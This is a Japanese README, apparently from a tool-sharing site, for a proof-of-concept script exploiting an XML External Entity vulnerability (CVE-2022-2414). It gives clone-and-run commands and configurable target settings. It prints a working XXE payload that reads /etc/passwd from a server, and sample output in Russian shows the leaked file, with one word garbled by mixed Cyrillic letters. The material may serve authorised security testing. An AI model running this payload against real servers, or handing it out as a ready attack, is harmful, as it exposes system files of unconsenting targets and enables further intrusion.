EN

GenXMLExternalEntityExploit は、XML External Entity (XXE) 脆弱性の悪用を実証する PoC スクリプトです。このスクリプトは、XML ペイロードを利用してターゲットサーバーから機密ファイルを読み取ります。セキュリティテスト、ペネトレーションテスト、または教育目的に使用できます。

特徴

• 作成した XML ペイロードを指定されたサーバーに送信します。
• XXE 脆弱性を悪用してサーバーファイルを読み取ります。
• ターゲット URL とペイロードデータを簡単にカスタマイズできます。

使い方

1. リポジトリをクローンする
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2022-2414
   

2. ディレクトリに移動する
   root@kitploit:~

   cd CVE-2022-2414
   

3. スクリプトを実行する マシンに Python がインストールされていることを確認してください。
   root@kitploit:~

   python3 GenXMLExternalEntityExploit.py
   

設定

• TARGET_URL: スクリプト内の TARGET_URL 変数を、テスト対象のターゲットサーバーの URL に更新します。
• XML_PAYLOAD: 特定のファイルパスやサーバーサイド操作のために、スクリプト内の XML_PAYLOAD 文字列をカスタマイズします。
• HEADERS: 必要に応じて HTTP ヘッダーを変更します。

例

デフォルトでは、スクリプトは以下のペイロードを使用して /etc/passwd ファイルを読み取ります：

<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>

出力例

Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...

免責事項

このツールは教育目的および許可されたセキュリティテストのためのみです。作者は本ツールの不正使用について一切の責任を負いません。